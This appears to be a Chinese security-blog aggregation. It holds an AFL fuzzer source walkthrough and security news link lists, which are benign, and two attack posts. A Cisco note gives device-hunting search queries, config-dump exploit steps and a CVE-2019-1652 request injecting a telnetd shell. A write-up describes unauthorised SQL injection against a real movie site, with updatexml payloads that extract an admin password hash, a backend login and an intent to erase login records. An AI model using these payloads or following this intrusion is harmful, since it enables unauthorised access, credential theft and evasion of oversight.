模糊测试工具AFL源码浅析
前言
AFL是一款著名的模糊测试的工具,最近在阅读AFL源码,记录一下,方便以后查阅。
环境
项目:https://github.com/google/AFL.git
编译项目:将编译的优化选项关闭,即改写成-O0
afl-gcc.c
使用gdb加载afl-gcc,并使用set arg -o test test.c设置参数
find_as函数
find_as函数首先会通过AFL_PATH环境变量的值从而获得AFL对应的路径
若上述环境变量不存在则获取当前afl-gcc所在的文件路径
判断该路径下的as文件是否具有可执行权限
u8 *afl_path = getenv("AFL_PATH");
...
if (afl_path) {
tmp = alloc_printf("%s/as", afl_path); //将AFL所在路径与字符as进行拼接
if (!access(tmp, X_OK)) { //函数用来判断指定的文件或目录是否有可执行权限,若指定方式有效则返回0,否则返回-1
as_path = afl_path;
ck_free(tmp);
return;
}
ck_free(tmp);
}
slash = strrchr(argv0, '/'); //在参数argv0所指向的字符串中搜索最后一次出现字符'/'
if (slash) {
u8 *dir;
*slash = 0;
dir = ck_strdup(argv0);
*slash = '/';
tmp = alloc_printf("%s/afl-as", dir); //将当前AFL所在的路径跟afl-as进行拼接
if (!access(tmp, X_OK)) {
as_path = dir;
ck_free(tmp);
return;
}
...
edit_params函数
edit_params函数实际就是准备需要传入编译器的参数,如编译器的类型gcc或clang
其次就是是否需要开启保护如canary等
最后就是判断是否开启内存泄漏探测的工具,如ASAN,该工具是针对C/C++ 的快速内存错误检测工具
...
cc_params = ck_alloc((argc + 128) * sizeof(u8*));
name = strrchr(argv[0], '/'); //获取可执行文件名称
if (!name) name = argv[0]; else name++; /*跳过路径符'/' */
if (!strncmp(name, "afl-clang", 9)) { //判断编译器是否为clang
...
}
else {
if (!strcmp(name, "afl-g++")) {
u8* alt_cxx = getenv("AFL_CXX");
cc_params[0] = alt_cxx ? alt_cxx : (u8*)"g++";
} else if (!strcmp(name, "afl-gcj")) {
u8* alt_cc = getenv("AFL_GCJ");
cc_params[0] = alt_cc ? alt_cc : (u8*)"gcj";
} else {
u8* alt_cc = getenv("AFL_CC");
cc_params[0] = alt_cc ? alt_cc : (u8*)"gcc"; //如环境变量没写入AFL_CC则默认使用gcc
}
}
while (--argc) {
u8* cur = *(++argv); //读取下一个参数
if (!strncmp(cur, "-B", 2)) { //若参数是-B
if (!be_quiet) WARNF("-B is already set, overriding"); //用于设置编译器的搜索路径
if (!cur[2] && argc > 1) { argc--; argv++; }//继续读取下一个参数
continue;
}
if (!strcmp(cur, "-integrated-as")) continue;
if (!strcmp(cur, "-pipe")) continue;
#if defined(__FreeBSD__) && defined(__x86_64__)
if (!strcmp(cur, "-m32")) m32_set = 1;
#endif
if (!strcmp(cur, "-fsanitize=address") ||
!strcmp(cur, "-fsanitize=memory")) asan_set = 1; //内存访问的错误
if (strstr(cur, "FORTIFY_SOURCE")) fortify_set = 1;//缓冲区溢出问题的检查
cc_params[cc_par_cnt++] = cur; //cc_params用于存放的参数
}
cc_params[cc_par_cnt++] = "-B"; //参数-B
cc_params[cc_par_cnt++] = as_path; //afl-as的路径
if (clang_mode)
cc_params[cc_par_cnt++] = "-no-integrated-as";
if (getenv("AFL_HARDEN")) {
cc_params[cc_par_cnt++] = "-fstack-protector-all"; //canary保护
if (!fortify_set)
cc_params[cc_par_cnt++] = "-D_FORTIFY_SOURCE=2";
}
if (asan_set) {
/* Pass this on to afl-as to adjust map density. */
setenv("AFL_USE_ASAN", "1", 1);
} else if (getenv("AFL_USE_ASAN")) {
if (getenv("AFL_USE_MSAN"))
FATAL("ASAN and MSAN are mutually exclusive");
if (getenv("AFL_HARDEN"))
FATAL("ASAN and AFL_HARDEN are mutually exclusive");
cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";
cc_params[cc_par_cnt++] = "-fsanitize=address";
} else if (getenv("AFL_USE_MSAN")) {
if (getenv("AFL_USE_ASAN"))
FATAL("ASAN and MSAN are mutually exclusive");
if (getenv("AFL_HARDEN"))
FATAL("MSAN and AFL_HARDEN are mutually exclusive");
cc_params[cc_par_cnt++] = "-U_FORTIFY_SOURCE";
cc_params[cc_par_cnt++] = "-fsanitize=memory";
}
...
cc_params[cc_par_cnt++] = "-g";
...
cc_params[cc_par_cnt++] = "-O3";
cc_params[cc_par_cnt++] = "-funroll-loops";
/* Two indicators that you're building for fuzzing; one of them is
AFL-specific, the other is shared with libfuzzer. */
cc_params[cc_par_cnt++] = "-D__AFL_COMPILER=1";
cc_params[cc_par_cnt++] = "-DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1";
}
if (getenv("AFL_NO_BUILTIN")) {
cc_params[cc_par_cnt++] = "-fno-builtin-strcmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strncmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strcasecmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strncasecmp";
cc_params[cc_par_cnt++] = "-fno-builtin-memcmp";
cc_params[cc_par_cnt++] = "-fno-builtin-strstr";
cc_params[cc_par_cnt++] = "-fno-builtin-strcasestr";
}
cc_params[cc_par_cnt] = NULL;
}
通过edit_params函数后
可以传递给编译器的参数增加了-B . -g -O3 -funroll-loops -D__AFL_COMPILER=1 -DFUZZING_BUILD_MODE_UNSAFE_FOR_PRODUCTION=1这几项
main函数
首先调用isatty函数判断描述符是否为终端机以及是否为静默模式,即不打印任何信息,SAYF即输出函数用于输出提示字符
接着通过find_as函数搜索as文件所在的路径
接着通过edit_params函数编辑获取需要传入编译器的参数
最后通过execvp函数启动gcc或其他编译器
/*
isatty函数用于判断文件描述词是否是为终端机
获取AFL_QUIET的环境变量
*/
if (isatty(2) && !getenv("AFL_QUIET")) { //判断是否静默模式
/*
#ifdef MESSAGES_TO_STDOUT
# define SAYF(x...) printf(x)
#else
# define SAYF(x...) fprintf(stderr, x)
#endif
*/
SAYF(cCYA "afl-cc " cBRI VERSION cRST " by <lcamtuf@google.com>\n");
} else be_quiet = 1;
if (argc < 2) { //参数个数小于两个
SAYF("\n"
"This is a helper application for afl-fuzz. It serves as a drop-in replacement\n"
"for gcc or clang, letting you recompile third-party code with the required\n"
"runtime instrumentation. A common use pattern would be one of the following:\n\n"
" CC=%s/afl-gcc ./configure\n"
" CXX=%s/afl-g++ ./configure\n\n"
"You can specify custom next-stage toolchain via AFL_CC, AFL_CXX, and AFL_AS.\n"
"Setting AFL_HARDEN enables hardening optimizations in the compiled code.\n\n",
BIN_PATH, BIN_PATH);
exit(1);
}
find_as(argv[0]); //用于寻找as所在路径
edit_params(argc, argv);//用于获取编译参数
execvp(cc_params[0], (char**)cc_params);//启动gcc或其他编译器
大致流程图
afl-gcc可以看作是劫持了gcc的一个程序,从而修改as的路径(为了后续的插桩做准备),并且添加所有fuzzing所需要的参数再传入实际的编译器中去(这里以gcc作为例子)
afl-as.c
edit_params函数
afl-as.c的edit_params函数比较简单
首先是确定as文件所在的路径,若没有设置环境变量则直接使用as作为汇编器所在路径的参数
其次是检测.s文件是否在临时目录下,这里我做了测试如果.s不在临时目录则无法插桩成功
最后随机生成文件名,将该文件作为插桩后的文件并作为传输传入汇编器
u8 *tmp_dir = getenv("TMPDIR"), *afl_as = getenv("AFL_AS"); //afl-as的地址
...
as_params = ck_alloc((argc + 32) * sizeof(u8*)); //给参数分配空间
as_params[0] = afl_as ? afl_as : (u8*)"as";
as_params[argc] = 0; //截断符
...
//用于记录文件是64位还是32位
for (i = 1; i < argc - 1; i++) {
if (!strcmp(argv[i], "--64")) use_64bit = 1;
else if (!strcmp(argv[i], "--32")) use_64bit = 0;
...
if (strncmp(input_file, tmp_dir, strlen(tmp_dir)) &&
strncmp(input_file, "/var/tmp/", 9) &&
strncmp(input_file, "/tmp/", 5)) pass_thru = 1; //汇编文件需要放在临时目录下,否则后续无法对文件进行插桩
}
modified_file = alloc_printf("%s/.afl-%u-%u.s", tmp_dir, getpid(),
(u32)time(NULL)); //随机生成文件名,作为插桩的目标文件
...
as_params[as_par_cnt++] = modified_file; //将待修改的文件名作为汇编器的参数
as_params[as_par_cnt] = NULL;
add_instrumentation函数
add_instrumentation函数是插桩的关键函数
首先是分别打开需要编译的文件以及存放插桩后的文件,并且对需要编译的文件逐行逐行进行扫描
其次对于以下情况的代码块不进行插桩处理
pass_thru = 1,这里经调试发现只要.s文件存在于临时目录下pass_thru的值就会为0,pass_thru = 1的意思是只传递数据不进行插桩
skip_intel = 1即为跳过intel的汇编语法的代码
不在.text段内
在.text段但是不处于函数标签或者分支标签
trampoline_fmt_64与trampoline_fmt_32即为需要插桩的代码,并会记录总共插桩了几处
若进行了插桩处理,那么则需要在文件末尾插入main_payload_64,是与afl进行fuzzing相关的函数
...
if (input_file) { //需要编译的文件
inf = fopen(input_file, "r");
if (!inf) PFATAL("Unable to read '%s'", input_file);
} else inf = stdin;
outfd = open(modified_file, O_WRONLY | O_EXCL | O_CREAT, 0600); //打开存放插桩后的文件
if (outfd < 0) PFATAL("Unable to write to '%s'", modified_file);
outf = fdopen(outfd, "w");
if (!outf) PFATAL("fdopen() failed");
while (fgets(line, MAX_LINE, inf)) { //对需要汇编的文件进行一行一行的扫描
/* In some cases, we want to defer writing the instrumentation trampoline
until after all the labels, macros, comments, etc. If we're in this
mode, and if the line starts with a tab followed by a character, dump
the trampoline now. */
//isalpha是一种函数:判断字符ch是否为英文字母
//# define R(x) (random() % (x))
if (!pass_thru && !skip_intel && !skip_app && !skip_csect && instr_ok &&
instrument_next && line[0] == '\t' && isalpha(line[1])) {
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE)); //将插桩代码写入改写文件中,trampoline_fmt_64为64位程序的插桩代码,trampoline_fmt_32为32位程序的插桩代码
instrument_next = 0;
ins_lines++; //总共插桩了多少处地方
}
...
if (line[0] == '\t' && line[1] == '.') {
/* OpenBSD puts jump tables directly inline with the code, which is
a bit annoying. They use a specific format of p2align directives
around them, so we use that as a signal.
OpenBSD为一个类unix的操作系统
*/
if (!clang_mode && instr_ok && !strncmp(line + 2, "p2align ", 8) &&
isdigit(line[10]) && line[11] == '\n') skip_next_label = 1; //跳转到下一个标签
if (!strncmp(line + 2, "text\n", 5) ||
!strncmp(line + 2, "section\t.text", 13) ||
!strncmp(line + 2, "section\t__TEXT,__text", 21) ||
!strncmp(line + 2, "section __TEXT,__text", 21)) {
instr_ok = 1; //只要是text段就是我们应该插桩的段
continue;
}
if (!strncmp(line + 2, "section\t", 8) ||
!strncmp(line + 2, "section ", 8) ||
!strncmp(line + 2, "bss\n", 4) ||
!strncmp(line + 2, "data\n", 5)) {
instr_ok = 0; //不需要插桩的段
continue;
}
}
...
if (line[0] == '\t') {//检测jnz等分支指令
if (line[1] == 'j' && line[2] != 'm' && R(100) < inst_ratio) { //绝对跳转jmp不进行插桩处理
fprintf(outf, use_64bit ? trampoline_fmt_64 : trampoline_fmt_32,
R(MAP_SIZE)); //给分支跳转指令进行插桩
ins_lines++; //插桩的指令数
}
continue; //插桩完直接跳过
}
...
if (strstr(line, ":")) { //检测标签
if (line[0] == '.') {
/* Apple: .L<num> / .LBB<num> */
if ((isdigit(line[2]) || (clang_mode && !strncmp(line + 1, "LBB", 3))) //分支标签
&& R(100) < inst_ratio) {
...
if (!skip_next_label) instrument_next = 1; else skip_next_label = 0;//若该标签不需要跳转则记录下来,该标签需要插桩
}
} else { //函数标签
/* Function label (always instrumented, deferred mode). */
instrument_next = 1;//函数标签都需要进行插桩
}
}
}
if (ins_lines)
fputs(use_64bit ? main_payload_64 : main_payload_32, outf); //若进行插桩处理则需要插入main_payload_64
这里重点关注一下插桩的位置
情况一:函数入口,例如main函数
函数标签处的插桩如下图所示,插桩的位置是函数第一条指令的上方进行插桩
情况二:分支跳转,例如jle指令
扫描到分支跳转指令,则直接在跳转指令下方进行插桩处理,如下图所示
情况三:.L<num>标签
.L为本地标签,afl-as.c也会扫描该标签并进行插桩处理,可以看到跳转指令的目的地地址就是以.L<num>,因此.L<num>可以认为分支的起始位置,与函数标签一样,会在第一条指令上方进行插桩处理
main函数
main函数主要经过edit_params函数修改了传入汇编器的参数,并且对汇编文件进行插桩处理,最后使用execvp函数启动汇编器进行汇编处理
...
gettimeofday(&tv, &tz);
rand_seed = tv.tv_sec ^ tv.tv_usec ^ getpid();//随机种子
srandom(rand_seed);//通过种子生成随机数
edit_params(argc, argv); //加载参数,并在/tmp/目录下生成临时的汇编文件
if (inst_ratio_str) {
if (sscanf(inst_ratio_str, "%u", &inst_ratio) != 1 || inst_ratio > 100)
FATAL("Bad value of AFL_INST_RATIO (must be between 0 and 100)");
}
if (getenv(AS_LOOP_ENV_VAR))
FATAL("Endless loop when calling 'as' (remove '.' from your PATH)");
setenv(AS_LOOP_ENV_VAR, "1", 1);
/* When compiling with ASAN, we don't have a particularly elegant way to skip
ASAN-specific branches. But we can probabilistically compensate for
that... */
if (getenv("AFL_USE_ASAN") || getenv("AFL_USE_MSAN")) {
sanitizer = 1;
inst_ratio /= 3;
}
if (!just_version) add_instrumentation();//对文件进行插桩处理
if (!(pid = fork())) {
execvp(as_params[0], (char**)as_params);//将插桩后的文件传入汇编器中
FATAL("Oops, failed to execute '%s' - check your PATH", as_params[0]);
...
传入汇编器的参数情况
大致流程图
afl-as相当于劫持了as从而修改汇编的文件名以及对相应的汇编文件进行插桩处理
afl-as.h
该文件放置了插桩需要的代码如trampoline_fmt_64、trampoline_fmt_32、main_payload_64以及main_payload_32,这些代码结合fuzzing过程有关。
总结
afl-gcc与afl-as可以看作是劫持了编译器,将fuzzing相关的参数设置好并对编译文件进行相应的插桩后再调用实际的编译器。
网络安全日报 2022年10月25日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、Apple 发布 iOS 16.1 补丁修复被利用的零日漏洞
https://www.securityweek.com/apple-fixes-exploited-zero-day-ios-161-patch 2、研究人员发现了数千个 GitHub项目提供虚假PoC分发恶意软件
https://securityaffairs.co/wordpress/137527/hacking/malicious-github-repositories.html 3、SideWinder APT 使用新的 WarHawk 后门攻击巴基斯坦的实体
https://thehackernews.com/2022/10/sidewinder-apt-using-new-warhawk.html 4、Typosquat冒充27个品牌推送Windows和Android恶意软件
https://www.bleepingcomputer.com/news/security/typosquat-campaign-mimics-27-brands-to-push-windows-android-malware/ 5、卡塔尔世界杯官方应用被指是间谍软件
https://www.solidot.org/story?sid=73123 6、Facebook 开发出闽南语 AI 翻译系统
https://www.solidot.org/story?sid=73132 7、得州起诉 Google 非法收集生物识别数据
https://www.solidot.org/story?sid=73127 8、国际刑警组织建立元宇宙总部,关注在虚拟现实中的犯罪
https://www.cnbeta.com/articles/tech/1330087.htm 9、CISA 警告 Daixin Team 黑客使用勒索软件攻击卫生组织
https://thehackernews.com/2022/10/cisa-warns-of-daixin-team-hackers.html 10、名为TommyLeaks和SchoolBoys的新网络勒索组织针对全球多家公司
https://www.freebuf.com/news/347695.html
网络安全日报 2022年10月24日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、OldGremlin黑客使用Linux勒索软件攻击俄罗斯组织
https://www.bleepingcomputer.com/news/security/oldgremlin-hackers-use-linux-ransomware-to-attack-russian-orgs/ 2、Ursnif恶意软件将重点转移到勒索软件和数据盗窃上
https://www.zdnet.com/article/this-old-malware-has-been-rebuilt-with-new-features-to-use-in-ransomware-attacks/ 3、批发巨头METRO遭网络攻击后IT系统中断
https://www.bleepingcomputer.com/news/security/wholesale-giant-metro-hit-by-it-outage-after-cyberattack/ 4、黑客开始利用Text4Shell漏洞发起攻击
https://thehackernews.com/2022/10/hackers-started-exploiting-critical.html 5、多个活动利用VMware漏洞部署加密矿工和勒索软件
https://thehackernews.com/2022/10/multiple-campaigns-exploit-vmware.html 6、Emotet僵尸网络发起新一轮恶意垃圾邮件活动
https://thehackernews.com/2022/10/emotet-botnet-distributing-self.html 7、研究人员披露了Move虚拟机中现已修补漏洞的详细信息
https://thehackernews.com/2022/10/critical-flaw-reported-in-move-virtual.html 8、黑客窃取了伊朗原子能机构的敏感数据
https://securityaffairs.co/wordpress/137513/hacking/hackers-stole-sensitive-data-from-irans-atomic-energy-agency.html 9、《汽车数据处理安全要求》等 14 项网络安全国家标准获批发布
https://www.secrss.com/articles/48092 10、亚马逊因滥用算法在英国面临集体诉讼
https://www.ithome.com/0/647/771.htm
网络安全日报 2022年10月21日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、谷歌开源【软件供应链安全】工具GUAC
https://github.com/guacsec/guac 2、微软确认数据泄露事件,大量客户信息被暴露
https://securityaffairs.co/wordpress/137397/data-breach/microsoft-data-leak-2.html 3、巴西警方逮捕了一名涉嫌参与 LAPSUS$勒索软件团伙的男子
https://securityaffairs.co/wordpress/137381/cyber-crime/brazilian-police-arrested-lapsus-member.html 4、安全研究人员发现了数百万个公开的 .git 文件夹
https://securityaffairs.co/wordpress/137371/security/millions-git-folders-exposed-public.html 5、16款被Clicker 恶意软件感染的 Android 应用下载量超 2000 万次
https://thehackernews.com/2022/10/these-16-clicker-malware-infected.html 6、新的 Ursnif 变体将重点转移到勒索软件和数据盗窃上
https://thehackernews.com/2022/10/latest-ursnif-variant-shifts-focus-from.html 7、德国Stimme Mediengruppe集团遭勒索软件攻击
https://www.malwarebytes.com/blog/news/2022/10/ransomware-attack-freezes-newspaper-printing-system 8、研究人员公布Azure SFX漏洞详细信息
https://thehackernews.com/2022/10/researchers-detail-azure-sfx-flaw-that.html 9、德国网络安全负责人因涉嫌与俄罗斯有联系而被解雇
https://www.inforisktoday.com/german-cybersecurity-head-dismissed-for-alleged-russia-ties-a-20287 10、新加坡成立反勒索软件工作组以应对威胁
https://www.infosecurity-magazine.com/news/singapore-creates-ransomware-task/
CISCO设备信息泄漏漏洞案例
前言
在日常的渗透任务中,除了常见的集权设备,高危组件的漏洞挖掘,一些iot设备目标也是可以作为重点关注的存在。近期实战中遇到了几个cisco配置信息泄漏的案例,借此机会复习总结下cisco常见的漏洞。
cisco SMI 配置泄漏
Cisco SMI 是一种即插即用功能,可为 Cisco 交换机提供零接触部署并在 TCP 端口 4786 上进行通信。如果发现开放4786端口的cisco设备,那可以深入测试一下。
fofa 语句 protocol="smi"
影响目标还挺多的
git clone https://github.com/ChristianPapathanasiou/CiscoSmartInstallExploit
cd CiscoSmartInstallExploit
pip2 install tftpy
python2 cisco.py [ip]
注意用python2运行,运行成功会下载目标的运行配置
配置文件中存有设备用户密码,ACL配置,ftp配置账号密码等敏感信息
如果想进一步分析配置文件可以下载 ccat 工具进行自动化分析
https://github.com/frostbits-security/ccatgit clone https://github.com/frostbits-security/ccat.git
cd ccat
pip3 install -r requirements.txt
python3 ccat.py configuration_file
我们可以使用 --dump-creds 参数dump出账号密码
文件名m500的可以用hashcat -m 500的掩码进行爆破,5700同理
CVE-2019-1652 && CVE-2019-1653
Cisco RV320 路由器的配置可以在未经身份验证的情况下通过设备的 Web 界面导出。
fofa 语句 app="CISCO-RV320”
对应poc
ip:port/cgi-bin/config.exp
下载的配置文件中有账号和md5的密码,不过md5的格式为 md5($password.$auth_key),其中 auth_key 是一个静态值,可以通过直接访问 / 路径找到。
当然在通过 CVE-2019-1653 获得了账号和md5的密码后可以通过替换登录包的hash进行登录,无需解密
后台可以配合 CVE-2019-1652 进行 rce
github上的利用poc由于不支持目标的自签名证书 https://github.com/0x27/CiscoRV320Dump/blob/master/easy_access.py 这里就手动发包进行测试
POST /certificate_handle2.htm?type=4 HTTP/1.1
Host: x.x.x.x
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: mlap=RGVmYXVsdDk6Ojo6Y2lzY28=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
page=self_generator.htm&totalRules=1&OpenVPNRules=30&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A&organization=A&organization_unit=A&email=ab%40example.com&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&SelectSubject_s=1&common_name=a%27%24%28telnetd%20-l%20%2Fbin%2Fsh%20-
payload执行后会用telnet在本地监听1337口
连接验证
总结
cisco设备国内互联网公司和企事业用得不多,近年来都被国产品牌替换了。
python的poc经常会遇到一些历史遗留问题,比如tls版本过低,依赖库安装报错不兼容等等问题,建议还是用go写poc,利人利己。
网络安全日报 2022年10月20日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
1、研究人员发现大量恶意应用程序窃取Facebook登录信息
https://www.malwarebytes.com/blog/news/2022/10/warning-facestealer-ios-and-android-apps-steal-your-facebook-login 2、研究人员发现针对开源存储库的网络攻击增加了633%
https://portswigger.net/daily-swig/researchers-find-633-increase-in-cyber-attacks-aimed-at-open-source-repositories 3、研究人员称RansomCartel勒索团伙与REvil勒索团伙有关
https://www.bleepingcomputer.com/news/security/ransom-cartel-linked-to-notorious-revil-ransomware-operation/ 4、Apache Commons Text中存在严重的安全漏洞
https://blog.aquasec.com/cve-2022-42889-text2shell-apache-commons-vulnerability 5、研究人员发现了新的完全无法检测到的PowerShell后门
https://www.safebreach.com/resources/blog/safebreach-labs-researchers-uncover-new-fully-undetectable-powershell-backdoor/ 6、VisionWeb数据泄露影响多达35900人
https://www.hipaajournal.com/visionweb-data-breach-affects-up-to-35900-individuals/ 7、Lazarus APT在日本利用网络钓鱼攻击加密货币交易所
https://cryptopotato.com/north-korean-hacker-group-lazarus-phishing-for-crypto-in-japan-report/ 8、八块RTX 4090显卡阵列可在60分钟内破解八位密码
https://www.cnbeta.com/articles/tech/1328407.htm 9、黑客称他们从英国一保险公司窃取了 1.4TB 数据
https://cybernews.com/news/hackers-stole-data-from-kingfisher-insurance/ 10、施耐德 UMAS 协议中的漏洞被发现
https://www.itweb.co.za/content/WnxpE74YYExMV8XL
记一次SQL注入的收获
一、发现漏洞
1.1. 发现
这是一篇两年前的笔记了。之前平常喜欢看些电影影片,不想充值VIP,才发现的网站,但是这个网站A并不是主要测试的,而是通过发现他的兄弟网站B,然后进行渗透。
1.2. 测试
有事没事对网站动一动,发现A存在XSS,但是并没有多大的利用价值,但是通过友情链接,跳转到了B,就觉得B可能也在同个位置存在XSS但是,令人惊讶的是,我没发现XSS,但是确发现存在SQLI。加了个’,直接把sql语句爆出来了,如下图1。
图 1
二、漏洞利用
2.1 闭合规则
原始的语句:
SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share
FROM (`y80s_movies`)
LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id`
WHERE `y80s_movies`.`public` = '1'
AND `y80s_movies`.`attribute` NOT LIKE '%%1%%'
AND (name like '%XXX%' or aka like '%XXX%')
ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC
LIMIT 25
原始报文:
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization, Accept-Encoding, UserAccount
Server: nginx
Date: Thu, 29 Oct 2020 01:36:40 GMT
Content-Type: text/html; charset=utf-8
X-Powered-By: PHP/5.6.38
X-Cache: MISS from aws-jp08
X-Cache: MISS from asia-hk11
Connection: close
Content-Length: 882
Array
(
[0] => Error Number: 1064
[1] => You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '%' or aka like '%xxx%')
ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.' at line 6
[2] => SELECT `y80s_movies`.*, `y80s_photos`.`path` AS photo_path, `y80s_photos`.`share` AS photo_share
FROM (`y80s_movies`)
LEFT OUTER JOIN `y80s_photos` y80s_photos ON `y80s_photos`.`id` = `y80s_movies`.`photo_id`
WHERE `y80s_movies`.`public` = '1'
AND `y80s_movies`.`attribute` NOT LIKE '%%1%%'
AND (name like '%XXX%' or aka like '%XXX'%')
ORDER BY `y80s_movies`.`update` DESC, `y80s_movies`.`id` DESC
LIMIT 25
[3] => Filename: /home/wwwroot/XXXX/libraries/datamapper.php
[4] => Line Number: 1410
)
<html>
<head>
<title>Error</title>
</head>
<body>
hi</body>
</html>
XXX为输入的位置,同上可以看出,会同时在两处插入,但其实只需要管一处即可,后面可以注释掉。
当时在考虑,怎么闭合这个规则,怎么执行自己想执行的语句。但是可能被这么长的语句吓到了,不知道从何下手。也可能是因为自己数据库基础不扎实。其实仔细分析,都是可以化繁为简的。这语句也就是select 字段 from 表名 (一个左外连接) where XXX and XXX and XXX order by XXX。以上是我想的,看看老王想的:这个构造看清大逻辑,select xxx from ta left outer join tb on ta.a=tb.b where con1=xxxxx and con2=xxxx oder by a.a,b.b limit 25,然后得出:注入是在whe
2.2 爆数据
这步应该是最多的,一开始自己找不到闭合规则,经常会报错,而且还是乱码,如下图2:
图 2
一开始猜测是回显了数据表,所以导致了乱码,但是并不是,应该只是服务器的问题。这服务器本来就不太稳定,换下查询数据,刷新页面,多试几次就好了。然后思路就想着,构造一个判断语句,通过是与否来判断数据库的信息,然后有了以下的两个payload:
1、%e4%ba%ba') and 1=1 or (‘1’=’1
2、%e4%ba%ba') and exists(select path from y80s_photos) or ('1'='1
但是这payload真的是太傻了,好在报错信息有提供表名和mysql默认表dual,不然都没法判断是否构造完成。接下来是内容由老王指导完成。
通过union或者updatexml进行查询,内容有回显,一开始我并不知道的,后面通过百度查询到了updatexml用法,于是自己构造了个:
1、%e7%88%b1') and updatexml(1,concat('~',(select database()),'~'),3)--+
获取了数据名80s,如下图3:
图 3
既然可以回显,那紧接着,就是查询所有的表名。
笔记:
查询数据库中所有表名
select table_name from information_schema.tables where table_schema='数据库名' and table_type='base table';
select table_name from information_schema.tables where table_schema='数据库名'
查询指定数据库中指定表的所有字段名column_name
select column_name from information_schema.columns where table_schema='数据库名' and table_name='表名'
于是构造了
payload:%e7%88%b1') and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema='80s' limit 0,1),'~'),3)--+
其实limit是后面加的,服务器返回:Subquery returns more than 1 row,但是这边只能显示一条,所以一开始思路是使用limit一条一条去查出来,如下图4、图5:
图 4
图 5
利用burp-Intruder爆破出数据库,但是,这样太慢了。
老王提供了个函数group_concat(),group_concat()类似一个聚集函数,把所有内容拼接成字符串,默认用逗号隔开。于是我的payload就变成:
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s'),'~'),3)--+
但是,人算不如天算,他回显内容有限制长度的,如下图6:
图 6
看Y80应该可以明显感觉断了,及时看不出来,也不应该就这几个表吧!这时候想到,我们岂不是可以通过limit限制内容,把已经看到了的不输出,我真是天才,然后我构造了payload:
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='80s' limit 6,2),'~'),3)--+
发现页面居然正常跳转了,没有报错,我人傻了,估计是sql语句又哪里有问题了吧!后面看了老王的,他构造的是:
123333') and updatexml(1,concat(0x7e,(select group_concat(x.movie_id) from (select movie_id from hits limit 3,3)x),0x7e),1)--+
select group_concat(x.movie_id) from x,从x表查询movieid,然后聚集成一行,x表是个别名,x = seelect movie_id from hits limit 3,3,从hits查movieid,从记录3往后查3条,结果是个一列三行的数据临时表,然后前面配合聚集,把这三行连接,这样就不用limit a,1这种,每次限制一行记录,这个可以limit a,5这样,一次查五条。搜嘎!
由于我只是想登入后台,尝试找出管理员的表即可,我就还是一个一个试,最终找到管理员表y80s_managers,然后根据payload:
%e6%98%9f') and updatexml(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='80s' and table_name='y80s_managers'),'~'),3)--+
查询出字段名id,name,password,right_id,lock等,如下图7:
图 7
但是我们主要还是账号名密码,所以继续!构造payload:
%e5%a6%bb') and updatexml(1,concat('~',(select group_concat(name) from y80s_managers),'~'),3)--+
如下图8:
图 8
可以看到,只有一个账户,name为me****zz,再查询密码,如下图9:
图 9
忘记这个是有限制字段的,也没注意看是否是以~结尾,然后拿去md5解密,发现解不开,数了一下,31位的md5?这时候才发现,后面还有。于是使用substr函数,去截取后面的字段,回显!
Payload:%e6%96%b0') and updatexml(1,concat('~',(select substr(password,31) from y80s_managers),'~'),3)--+
Substr(str,pos,len),pos开始的位置,len为长度,str字符串,len没输入的时候默认是pos开始截取到最后的位置。于是有了以下图10:
图 10
果然掉了一位,最后得到md5:9356*************63c
三、解密账号密码
3.1成功登录
Md5解开后得到账号名密码:
Me****zz,935********63c(pj*****@)
然后使用dirsearch,搜索出后台(其实我是先找到后台才想着去注入的),成功登录,如下图11:
图 11
原本想删除登录记录的,但是发现这后台功能有点简陋,好像没有发现有登录记录之类的,就没先下了,后续再二次进攻!
3.2 收获其他信息
以下是收集到的其他信息:
database:80s
mysql5.6.44
